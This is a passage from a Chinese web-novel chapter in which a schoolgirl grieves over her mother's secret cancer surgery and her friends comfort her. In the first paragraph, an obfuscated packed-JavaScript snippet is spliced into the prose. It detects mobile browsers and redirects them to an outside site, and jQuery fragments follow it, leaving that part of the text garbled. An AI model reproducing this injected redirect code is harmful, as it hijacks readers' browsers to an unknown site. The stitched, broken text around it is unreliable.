许妄用口型问:“怎么了?” 姜寐拍着温知新的背,闭住眼睛很小幅度的摇头。 人越来越多,温知新觉得不好意思,她吸着鼻子从姜寐肩上起来,“我没事了。” “有事一定要告诉我们,我们一起想办法解决。”姜寐说。 许妄立刻凑过来说是啊是啊,“朋友齐心,其利断金。” “嗯,我知道,真的没事。”温知新接过祁昂递来的乳霜纸,擦了擦脸,“回去吧,快上课了。” “好。”姜寐拨开温知新脸颊旁因为哭泣而粘上的碎发,回座位了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15493523|163390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 祁昂没继续问温知新怎么了,只是一直往她手里塞东西,各式各样的蝴蝶形状的滴胶装饰。 “干嘛呢?” “安慰你。” “哪来的这些东西?” “捡的。” “下次捡点有用的吧。”温知新把那堆蝴蝶叮铃哐啷地又塞回他手心。 “什么有用?” “不知道,反正不是这些。” 温知新心里还是难受,懒得说话,杵着脑袋写题,往常还会浏览一遍试卷挑出那些简单的题目,现在则是来者不拒,管他语数英物化生,简单还是难,考纲内还是考纲外,通通都写。 下午两节自习根本没动地方,一言不发地刷了两套题,放学了也没去吃晚饭。 姜寐给温知新从学校面包店买了一块肉松面包,结果到了教室发现她桌子上已经放着一份三明治了。 姜寐问:“祁昂买的?” 姜寐说:“噢。”然后装着不小心的样子把三明治推到了祁昂的桌子上,随后把自己买的放到温知新面前。 “记得吃,我走了。” 温知新正拆着包装袋,听见叩叩两声,抬头,看见祁昂拿着贴满贴纸的水杯站在门口。 看着自己买的那份被排挤的三明治挑了下眉。 温知新摊手,咬下一口肉松面包。 祁昂揉了下她的脑袋,把水杯拧开放到了她手边,“慢点吃。” 温知新嗯嗯两声,然后三口解决完了那个面包,接着又去吃三明治。 下午的时候又是哭又是猛刷题,特别消耗精力,她饿死了。 “这么饿也不去吃晚饭?” “不想去,不想动。”温知新三下五除二又把那个三明治解决了,擦完手开始新一轮刷题。 这一次只刷难题。 用这种方式让自己的脑子感到疲惫,从而不再去想温倩得癌或者是钟林去世这些事。 一整个晚自习温知新没和祁昂说一句话,就是一直在写题,写到放学铃声打完,她终于放下笔,看着密密麻麻的草稿纸,很正确率百分之九十的试卷,没觉得多痛快。 到底要多努力,才能让温倩多信任她一点呢? 她还是不明白为什么温倩要瞒着她,庄叔叔都知道的事情她不知道。 除了担心温倩,温知新伤心的原因还包括觉得自己和温倩的距离越来越远了。 钟林死了不告诉她就算了,但是温倩生病得癌症,这么大的事情居然也不告诉她。 凭什么? 温知新一旦钻进牛角尖就很难出来,她又想哭,但是有人在,她要忍住回家哭。 祁昂一直默默跟着她,像个影子。 到单元楼,按照惯例两个人是要聊会儿天的,但温知新没心情,接过书包就要走,转身前一秒口袋里的手机叮叮响了起来。 好像知道是很重要的事情,温知新立刻拿出来解锁查看。 是庄叔叔,也是她妈妈的老同学,发来的信息。 庄叔叔:【手术结束,很顺利,你妈妈现在还在休息,明天或后天会给你打电话,别担心】 温故而知新:【好的,谢谢您】 温知新劫后余生般松了一口气,回复完庄鸣之后看着聊天框里这两条很客气的信息发愣。 后知后觉发现自己压根不知道温倩今天做手术,她中午问过,被温倩刻意略过了。 为什么? 明明她才是温倩的女儿,是温倩最亲近的人,为什么要通过一个外人来知道自己妈妈的消息。 钟林死是钟德耀通知的她,温倩生病动手术是庄鸣通知的她。 她永远被动。 她觉得自己好像被所有人排除在外了。 眼泪不知道什么时候掉下来的,砸在屏幕上,模糊了那句“谢谢”,祁昂早有准备地从校服口袋里拿出乳霜纸,轻柔地擦在她的眼角。 温知新又成了打完雪仗把手泡在温水里的人,她没忍住,眼泪吧嗒吧嗒掉。 祁昂继续弯腰擦她的眼泪,声音罕见的柔和,“如果很难过,就哭出来吧,这里只有我们两个。” 温知新很轻地抱住祁昂,下巴刚好抵在他的锁骨,眼泪砸在他的脖子。 “这回不咬人了吧,温知新。” 这话落在温知新耳朵里跟挑衅没什么区别,锁骨近在咫尺,咬上去简直轻而易举。 “嘶——” 温知新有颗牙是尖的,不明显,只有祁昂知道。